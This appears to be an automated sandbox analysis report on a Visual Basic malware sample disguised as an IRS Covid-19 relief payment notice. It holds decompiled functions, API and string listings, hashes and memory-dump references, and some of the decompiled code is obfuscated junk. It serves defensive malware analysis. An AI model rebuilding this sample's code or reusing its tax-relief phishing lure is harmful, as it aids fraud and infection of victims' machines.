Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$CheckHresult$New2$Free$List$Chkstk$CallLateMove$Copy
String ID: 8S$<#$Antiracing2$Inddatastrengens$Prt$R+?$Semipalmate$X"$Zounds8$angiopathy$lymphopoiesis$uncomeliest
API String ID: 1680439522-1587984735
Opcode ID: dcf806acaf70c9847e0eb7970cb95bdf485f6703d69f5b3f77d116fca2942ae6
Instruction ID: 8e639fbb02bb7ae4598e1b4a78c308718506f49180685b1fa3a87fffa9aa77b3
Opcode Fuzzy Hash: dcf806acaf70c9847e0eb7970cb95bdf485f6703d69f5b3f77d116fca2942ae6
Instruction Fuzzy Hash: A113E671900228DFCB21DF90CC49BD9BBB8BB08305F1045EAE549BB2A1DBB95AC4DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00411569, Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00411569(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				void* _v48;
				signed int _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v80;
				char _v96;
				char* _v120;
				intOrPtr _v128;
				intOrPtr _v136;
				char _v144;
				signed int _v148;
				intOrPtr* _v152;
				signed int _v156;
				intOrPtr* _v160;
				signed int _v164;
				signed int _v172;
				signed int _v176;
				char _v180;
				intOrPtr* _v184;
				signed int _v188;
				signed int _v192;
				signed int _t82;
				char* _t85;
				signed int _t89;
				char* _t95;
				signed int _t99;
				char* _t101;
				char* _t102;
				signed int _t105;
				intOrPtr _t126;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t126;
				L004012E0();
				_v12 = _t126;
				_v8 = 0x4011f0;
				L0040144E();
				_v120 = L"8:8:8";
				_v128 = 8;
				L0040144E();
				_push( &_v80);
				_push( &_v96); // executed
				L004013EE(); // executed
				_v136 = 8;
				_v144 = 0x8002;
				_push( &_v96);
				_t82 =  &_v144;
				_push(_t82);
				L004013F4();
				_v148 = _t82;
				_push( &_v96);
				_push( &_v80);
				_push(2);
				L00401454();
				_t85 = _v148;
				if(_t85 != 0) {
					_t89 =  *((intOrPtr*)( *_a4 + 0x160))(_a4,  &_v52);
					asm("fclex");
					_v148 = _t89;
					if(_v148 >= 0) {
						_v176 = _v176 & 0x00000000;
					} else {
						_push(0x160);
						_push(0x402710);
						_push(_a4);
						_push(_v148);
						L0040146C();
						_v176 = _t89;
					}
					if( *0x41333c != 0) {
						_v180 = 0x41333c;
					} else {
						_push(0x41333c);
						_push(0x402a5c);
						L00401472();
						_v180 = 0x41333c;
					}
					_t32 =  &_v180; // 0x41333c
					_v160 =  *((intOrPtr*)( *_t32));
					if( *0x413010 != 0) {
						_v184 = 0x413010;
					} else {
						_push("Prt");
						_push(0x401fd0);
						L00401472();
						_v184 = 0x413010;
					}
					_t95 =  &_v56;
					L00401478();
					_v152 = _t95;
					_t99 =  *((intOrPtr*)( *_v152 + 0x1b8))(_v152,  &_v60, _t95,  *((intOrPtr*)( *((intOrPtr*)( *_v184)) + 0x30c))( *_v184));
					asm("fclex");
					_v156 = _t99;
					if(_v156 >= 0) {
						_v188 = _v188 & 0x00000000;
					} else {
						_push(0x1b8);
						_push(0x402904);
						_push(_v152);
						_push(_v156);
						L0040146C();
						_v188 = _t99;
					}
					_v172 = _v52;
					_v52 = _v52 & 0x00000000;
					_t101 =  &_v80;
					L00401442();
					L00401424();
					L0040142A();
					_t102 =  &_v64;
					L00401478();
					_t105 =  *((intOrPtr*)( *_v160 + 0x40))(_v160, _t102, _t102, _v172, _t101, _t101, _t101, _v60, 0, 0);
					asm("fclex");
					_v164 = _t105;
					if(_v164 >= 0) {
						_v192 = _v192 & 0x00000000;
					} else {
						_push(0x40);
						_push(0x402a4c);
						_push(_v160);
						_push(_v164);
						L0040146C();
						_v192 = _t105;
					}
					L00401430();
					_push( &_v60);
					_push( &_v64);
					_t85 =  &_v56;
					_push(_t85);
					_push(3);
					L0040145A();
					L00401448();
				}
				asm("wait");
				_push(0x41183f);
				L00401448();
				return _t85;
			}

0x0041156e
0x00411579
0x0041157a
0x00411586
0x0041158e
0x00411591
0x0041159e
0x004115a3
0x004115aa
0x004115b7
0x004115bf
0x004115c3
0x004115c4
0x004115c9
0x004115d3
0x004115e0
0x004115e1
0x004115e7
0x004115e8
0x004115ed
0x004115f7
0x004115fb
0x004115fc
0x004115fe
0x00411606
0x0041160f
0x00411621
0x00411627
0x00411629
0x00411636
0x00411658
0x00411638
0x00411638
0x0041163d
0x00411642
0x00411645
0x0041164b
0x00411650
0x00411650
0x00411666
0x00411683
0x00411668
0x00411668
0x0041166d
0x00411672
0x00411677
0x00411677
0x0041168d
0x00411695
0x004116a2
0x004116bf
0x004116a4
0x004116a4
0x004116a9
0x004116ae
0x004116b3
0x004116b3
0x004116e3
0x004116e7
0x004116ec
0x00411704
0x0041170a
0x0041170c
0x00411719
0x0041173e
0x0041171b
0x0041171b
0x00411720
0x00411725
0x0041172b
0x00411731
0x00411736
0x00411736
0x00411748
0x0041174e
0x00411759
0x0041175d
0x00411766
0x00411770
0x0041177c
0x00411780
0x00411794
0x00411797
0x00411799
0x004117a6
0x004117c8
0x004117a8
0x004117a8
0x004117aa
0x004117af
0x004117b5
0x004117bb
0x004117c0
0x004117c0
0x004117d2
0x004117da
0x004117de
0x004117df
0x004117e2
0x004117e3
0x004117e5
0x004117f0
0x004117f0
0x004117f5
0x004117f6
0x00411839
0x0041183e

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411586
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 0041159E
__vbaVarDup.MSVBVM60 ref: 004115B7
#543.MSVBVM60(?,?), ref: 004115C4
__vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 004115E8
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 004115FE
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402710,00000160), ref: 0041164B
__vbaNew2.MSVBVM60(00402A5C,0041333C), ref: 00411672
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 004116AE
__vbaObjSet.MSVBVM60(?,00000000), ref: 004116E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001B8), ref: 00411731
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0041175D
__vbaStrVarMove.MSVBVM60(00000000), ref: 00411766
__vbaStrMove.MSVBVM60(00000000), ref: 00411770
__vbaObjSet.MSVBVM60(?,?,00000000,00000000), ref: 00411780
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A4C,00000040), ref: 004117BB
__vbaFreeStr.MSVBVM60(00000000,?,00402A4C,00000040), ref: 004117D2
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 004117E5
__vbaFreeVar.MSVBVM60 ref: 004117F0
__vbaFreeVar.MSVBVM60(0041183F), ref: 00411839

Strings

8:8:8, xrefs: 004115A3
<3A, xrefs: 0041168D
Prt, xrefs: 0041169B, 004116A4, 004116B3, 004116BF

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$CheckHresult$ListMoveNew2$#543CallChkstkLate
String ID: 8:8:8$<3A$Prt
API String ID: 3850520887-680420159
Opcode ID: e181f8226fed6488422645559cba22ee7e350dff4c3394c702a3e44e870435a6
Instruction ID: faa162560fabd10a6413b8fc77959865d81ee6ba2f9226804eed81b64f5f4b88
Opcode Fuzzy Hash: e181f8226fed6488422645559cba22ee7e350dff4c3394c702a3e44e870435a6
Instruction Fuzzy Hash: F271CA71900218AFDB10EFA1CC45FDDB7B9BB08704F1080AAF519B62B2DB795A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401498, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			_entry_() {
				signed char _t64;
				intOrPtr* _t65;
				signed int _t67;
				signed short _t69;
				signed int* _t71;
				signed int* _t72;
				signed int _t81;
				signed int _t86;
				intOrPtr* _t89;
				signed char _t92;
				signed char _t93;
				intOrPtr* _t100;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				intOrPtr _t123;

				_push("VB5!6&*"); // executed
				L00401490(); // executed
				 *_t64 =  *_t64 + _t64;
				 *_t64 =  *_t64 + _t64;
				 *_t64 =  *_t64 + _t64;
				 *_t64 =  *_t64 ^ _t64;
				 *_t64 =  *_t64 + _t64;
				_t65 = _t64 - 1;
				 *_t65 =  *_t65 + _t65;
				 *_t65 =  *_t65 + _t65;
				 *_t65 =  *_t65 + _t65;
				 *_t100 =  *_t100 + _t92;
				_t93 = _t92 | 0x00000019;
				asm("fimul word [ecx-0x53]");
				asm("out dx, eax");
				asm("adc dword [edi-0x2f], 0xd");
				_t67 =  *0xdb;
				 *_t67 =  *_t67 + _t67;
				 *_t93 =  *_t93 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *((intOrPtr*)(_t67 + 0x61)) =  *((intOrPtr*)(_t67 + 0x61)) + _t93;
				asm("outsb");
				asm("fs insb");
				if( *(_t106 + 0x67) * 0x6e616c70 < 0) {
					L6:
					 *_t103 =  *_t103 + _t67;
					_t17 = _t106 + 0x69;
					 *_t17 =  *((intOrPtr*)(_t106 + 0x69)) + _t67;
					asm("arpl [ebp+0x73], si");
					if ( *_t17 >= 0) goto L7;
					asm("outsd");
					asm("bound ebp, [edi+ebp*2+0x61]");
					_t69 = (_t67 | 0x43000801) ^ 0x00001900;
					 *_t69 =  *_t69 + _t69;
					_t101 = _t100 + 1;
					 *_t101 =  *_t101 + _t69;
					 *((intOrPtr*)(_t108 +  *_t81 + _t106 * 2)) =  *((intOrPtr*)(_t108 +  *_t81 + _t106 * 2)) + _t93;
					_t102 = _t101 + _t81;
					_t71 = _t69 +  *_t69 +  *((intOrPtr*)(_t69 +  *_t69));
					 *_t71 = _t71 +  *_t71;
					 *_t93 =  *_t93 + _t71;
					 *_t93 =  *_t93 + _t71;
					 *_t71 = _t71 +  *_t71;
					 *_t71 =  *_t71 & _t102;
					 *_t93 =  *_t93 + _t71;
					 *((intOrPtr*)(_t71 + _t71)) =  *((intOrPtr*)(_t71 + _t71)) + _t71;
					0x16401592(es);
					 *_t71 = _t71 +  *_t71;
					 *_t71 =  *_t71 + _t93;
					 *_t71 = _t71 +  *_t71;
					 *_t71 = _t71 +  *_t71;
					 *_t71 = _t71 +  *_t71;
					 *_t71 = _t71 +  *_t71;
					 *_t71 = _t71 +  *_t71;
					 *_t71 = _t71 +  *_t71;
					_t72 = _t71;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t102 =  *_t102;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					_t72[0x200000] = _t72 + _t72[0x200000];
					 *_t72 = es;
					_t72[0x2000] = _t72[0x2000];
					 *_t72 =  *_t72 + 0x80;
					 *((intOrPtr*)(_t72 - 0x3fffff80)) =  *((intOrPtr*)(_t72 - 0x3fffff80)) + _t72;
					asm("rol al, 0x0");
					_t72[0x20] = _t72[0x20] + 0xff;
					 *_t72 = _t72 +  *_t72;
					 *_t72 =  *_t72 + 1;
					 *_t72 = _t72 +  *_t72;
					asm("invalid");
					 *_t72 = _t72 +  *_t72;
					 *_t72 =  *_t72 + 1;
					_t86 = _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81 + _t81;
					asm("invalid");
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *(_t93 + 0x10) =  *(_t93 + 0x10) | _t86;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					asm("cdq");
					asm("cdq");
					asm("adc [eax], al");
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					asm("cdq");
					 *_t72 =  *_t72 | _t102;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					_t104 = _t103 |  *(_t86 - 0x4f444445);
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *_t86 =  *_t86 + _t93;
					 *_t72 = _t72 +  *_t72;
					 *_t72 = _t72 +  *_t72;
					 *0xFFFFFFFFBC6C76C6 =  *((intOrPtr*)(0xffffffffbc6c76c6)) + 0xb0bb0b;
					 *0xb0bb0b =  *0xb0bb0b + _t72;
					_t89 = 0xb3;
					do {
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *((intOrPtr*)(_t89 + 0xbbbbbb)) =  *((intOrPtr*)(_t89 + 0xbbbbbb)) + _t89;
						_push(3);
						 *3 =  *3 + 3;
						 *((intOrPtr*)(_t89 + 0xb0bbbb)) =  *((intOrPtr*)(_t89 + 0xb0bbbb)) + _t89;
						asm("invalid");
						 *_t89 =  *_t89 + _t89;
						 *3 =  *3 + 3;
						 *0xFFFFFFFFFF00B46B =  *((intOrPtr*)(0xffffffffff00b46b)) + 0xb3bb;
						asm("invalid");
						 *0xb3bb =  *0xb3bb + 0xb3bb;
						_t89 = 0x30;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						asm("invalid mm7, mm7");
						 *_t93 =  *_t93 - 1;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						if( *3 <= 0) {
							asm("invalid");
							_push(3);
							 *_t93 = ss;
							 *3 =  *3 + 3;
						}
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *_t104 =  *_t104 + 3;
						asm("lock jg 0x2");
						_push(3);
						asm("cdq");
						asm("adc [eax], al");
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						 *3 =  *3 + 3;
						_t123 =  *3;
						if(_t123 > 0) {
							L13:
							 *3 =  *3 + 3;
							 *3 =  *3 + 3;
							 *3 =  *3 + 3;
							 *3 =  *3 + 3;
							 *((intOrPtr*)(_t104 + 0x77)) =  *((intOrPtr*)(_t104 + 0x77)) + _t102;
						}
						asm("invalid");
					} while (_t123 < 0);
					asm("adc [eax], al");
					 *3 =  *3 + 3;
					goto L13;
				} else {
					 *[gs:eax] =  *[gs:eax] + _t93;
					if( *[gs:eax] < 0) {
						L5:
						asm("stosb");
						 *((intOrPtr*)(_t67 - 0x2d)) =  *((intOrPtr*)(_t67 - 0x2d)) + _t67;
						_t14 = _t67;
						_t67 = _t81;
						_t81 = _t14;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						 *_t67 =  *_t67 + _t67;
						asm("fiadd word [eax+eax]");
						 *((intOrPtr*)(_t67 + 3)) =  *((intOrPtr*)(_t67 + 3)) + _t100;
						 *_t67 =  *_t67 + _t67;
						goto L6;
					}
					 *[ss:edx] =  *[ss:edx] - _t81;
					 *_t67 =  *_t67 + _t67;
					asm("int3");
					 *_t67 =  *_t67 ^ _t67;
					 *(_t100 + 0x3aded508) =  *(_t100 + 0x3aded508) | _t108;
					_pop(ds);
					_pop(ds);
					_t93 = _t67;
					asm("les ebp, [esi]");
					asm("retf");
					_t106 = _t106 + 1;
					_t67 =  *0xad989b4c;
					asm("lodsd");
					_t81 = _t81 + _t81 ^  *(_t93 - 0x48ee309a);
					asm("cdq");
					asm("iretw");
					asm("adc [edi+0xaa000c], esi");
					goto L5;
				}
			}

0x00401498
0x0040149d
0x004014a2
0x004014a4
0x004014a6
0x004014a8
0x004014aa
0x004014ac
0x004014ad
0x004014af
0x004014b1
0x004014b3
0x004014b7
0x004014ba
0x004014bd
0x004014be
0x004014c2
0x004014c7
0x004014c9
0x004014cb
0x004014cd
0x004014cf
0x004014d1
0x004014d3
0x004014d6
0x004014d7
0x004014e0
0x00401551
0x00401551
0x00401553
0x00401553
0x00401556
0x00401559
0x00401561
0x00401562
0x00401566
0x0040156a
0x0040156c
0x0040156d
0x00401574
0x00401578
0x0040157a
0x0040157c
0x0040157e
0x00401580
0x00401582
0x00401584
0x00401586
0x00401588
0x0040158b
0x00401590
0x00401592
0x00401594
0x00401596
0x00401598
0x0040159a
0x0040159d
0x0040159f
0x004015a1
0x004015a3
0x004015a5
0x004015a7
0x004015aa
0x004015ac
0x004015ae
0x004015b0
0x004015b2
0x004015b4
0x004015b6
0x004015b8
0x004015ba
0x004015bc
0x004015be
0x004015c0
0x004015c6
0x004015c8
0x004015cf
0x004015d2
0x004015d8
0x004015db
0x004015e2
0x004015e4
0x004015e6
0x004015e8
0x004015ec
0x004015f4
0x004015f6
0x004015f8
0x004015fa
0x004015fc
0x004015fe
0x00401600
0x00401602
0x00401604
0x00401606
0x00401608
0x0040160a
0x0040160c
0x0040160e
0x00401614
0x00401616
0x00401618
0x0040161a
0x0040161c
0x0040161e
0x0040161f
0x00401620
0x00401622
0x00401624
0x00401626
0x00401628
0x0040162a
0x0040162c
0x0040162e
0x0040162f
0x00401631
0x00401633
0x00401635
0x00401637
0x00401639
0x0040163b
0x0040163d
0x0040163f
0x00401641
0x00401643
0x00401645
0x00401647
0x00401649
0x0040164b
0x0040164d
0x00401653
0x00401655
0x00401657
0x00401659
0x0040165b
0x00401667
0x00401669
0x0040166b
0x00401671
0x00401675
0x00401677
0x00401677
0x00401679
0x0040167b
0x00401681
0x00401689
0x0040168b
0x00401691
0x00401693
0x0040169a
0x0040169c
0x004016a2
0x004016a4
0x004016a6
0x004016ab
0x004016ad
0x004016af
0x004016b3
0x004016b5
0x004016b7
0x004016b9
0x004016bb
0x004016bd
0x004016bf
0x004016c1
0x004016c3
0x004016c5
0x004016c7
0x004016c7
0x004016c8
0x004016ca
0x004016cc
0x004016ce
0x004016d0
0x004016d3
0x004016d5
0x004016d6
0x004016d8
0x004016da
0x004016dc
0x004016de
0x004016de
0x004016e0
0x004016e9
0x004016e9
0x004016eb
0x004016ed
0x004016ef
0x004016f1
0x004016f1
0x004016e2
0x004016e2
0x004016e6
0x004016e8
0x00000000
0x004014e3
0x004014e3
0x004014e6
0x00401520
0x00401520
0x00401521
0x00401524
0x00401524
0x00401524
0x00401525
0x00401527
0x00401529
0x0040152b
0x0040152d
0x0040152f
0x00401531
0x00401533
0x00401535
0x00401537
0x00401539
0x0040153b
0x0040153d
0x0040153f
0x00401541
0x00401543
0x00401545
0x00401547
0x00401549
0x0040154c
0x0040154f
0x00000000
0x0040154f
0x004014e8
0x004014ed
0x004014f1
0x004014f2
0x004014f4
0x004014fe
0x004014ff
0x00401500
0x00401501
0x00401504
0x00401507
0x0040150b
0x00401517
0x00401518
0x00401519
0x0040151a
0x0040151c
0x00000000
0x0040151c

APIs

#100.MSVBVM60(VB5!6&*), ref: 0040149D

Strings

VB5!6&*, xrefs: 00401498

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: db0bf3b051548505888c92a56194f01fe8c626120994f74b06c5145e64ba4b70
Instruction ID: a22d15139f327581269a614b71077791f02cf981de3f38344569e8024bce5523
Opcode Fuzzy Hash: db0bf3b051548505888c92a56194f01fe8c626120994f74b06c5145e64ba4b70
Instruction Fuzzy Hash: C241986644E7C18FC7039B7498696907FB0AE13214B1E46EBC4D2CF4F3E22C581AD766

Uniqueness

Uniqueness Score: -1.00%

Function 02417759, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 024178F6

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-1850852036
Opcode ID: 1a947ebeedd7eed48e002d1621ec0579f10a3fc7c5c58b0d94980f90127e95c4
Instruction ID: 56f893417d6c62b67036e26dd4219ffb6d395267b606c716fac08a56b15ff594
Opcode Fuzzy Hash: 1a947ebeedd7eed48e002d1621ec0579f10a3fc7c5c58b0d94980f90127e95c4
Instruction Fuzzy Hash: A73104746452159AEF38252A8E747FF725BDF823A0FAA802FCC5B02044E724C0CAC953

Uniqueness

Uniqueness Score: -1.00%

Function 0241530D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Strings

rX4, xrefs: 0241535F

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: rX4
API String ID: 1029625771-805084833
Opcode ID: c44e211462aa4f0626d0dbc083a758d7bf494c9c45d7ffa94d69a90c555d313d
Instruction ID: d8d73362fd57061310baecba8526fc52311beb1648ad02c5206843ce1064237e
Opcode Fuzzy Hash: c44e211462aa4f0626d0dbc083a758d7bf494c9c45d7ffa94d69a90c555d313d
Instruction Fuzzy Hash: 7A11C6741892199F8B102B619A607FA376F8F423A1F67806FBC9687144EB74C1CAD942

Uniqueness

Uniqueness Score: -1.00%

Function 02410BBD, Relevance: 1.8, APIs: 1, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: edce0bfb15d7a6e361b52db62349bcc0a83d07e9585a40915dc41162614c22be
Instruction ID: bfd811892d414888d041c3f46640fbddc511ac8c3a47fd0ce7967894da43bcdc
Opcode Fuzzy Hash: edce0bfb15d7a6e361b52db62349bcc0a83d07e9585a40915dc41162614c22be
Instruction Fuzzy Hash: EAA17F30B443065AFB281A258DE43FF37579FD2794F65452FCC8A97284DB6AC4C6CA42

Uniqueness

Uniqueness Score: -1.00%

Function 02410C8E, Relevance: 1.8, APIs: 1, Instructions: 330COMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: 261289b435221a9c41ac157ba68d211541f703b368af221df3b0ab505bb278ed
Instruction ID: 55b1a4217af30076eea0f120c0f4c4b403e571d19d318286e65a66acd97e01b7
Opcode Fuzzy Hash: 261289b435221a9c41ac157ba68d211541f703b368af221df3b0ab505bb278ed
Instruction Fuzzy Hash: E491AD30B443069AFB2426258DE47FF375B9F923D4F59452FDC8A97284DB69C4C6CA02

Uniqueness

Uniqueness Score: -1.00%

Function 02410C11, Relevance: 1.8, APIs: 1, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec17cc9993bd7e27789948f815c6a3e0e6d1b1649e081845a4562200d15838ba
Instruction ID: 5182062263be03512b262e687ed8834ea512c17d8383e117dead24cdb40a9c2d
Opcode Fuzzy Hash: ec17cc9993bd7e27789948f815c6a3e0e6d1b1649e081845a4562200d15838ba
Instruction Fuzzy Hash: 129170307403065AFB2416258DA47FF375B9FD2794F55452FCC4A97284DB6AC4C6CA42

Uniqueness

Uniqueness Score: -1.00%

Function 02410C40, Relevance: 1.8, APIs: 1, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb71ac9e3b7499929350a722aafafdffeaa2dcfb3dd76eb47ce585b06b7d4ee
Instruction ID: 5d2fcea3b25aeac21a81a922abc2c4b2800e249747fb67a8530e0216949a661b
Opcode Fuzzy Hash: 0bb71ac9e3b7499929350a722aafafdffeaa2dcfb3dd76eb47ce585b06b7d4ee
Instruction Fuzzy Hash: B5917030B443069AFB241A258DA53FF375B9FD27D4F55452FCC4A97284DB6AC0C6CA42

Uniqueness

Uniqueness Score: -1.00%

Function 02410D16, Relevance: 1.8, APIs: 1, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: 7be832d395c8b84b156dd08d691a3f1964d136fd94ea66e86922ad30fc2bf224
Instruction ID: 762fa2d779961f3214fdf91ddcd353eee065f4933aaf8d8b0b2e06effd8cc440
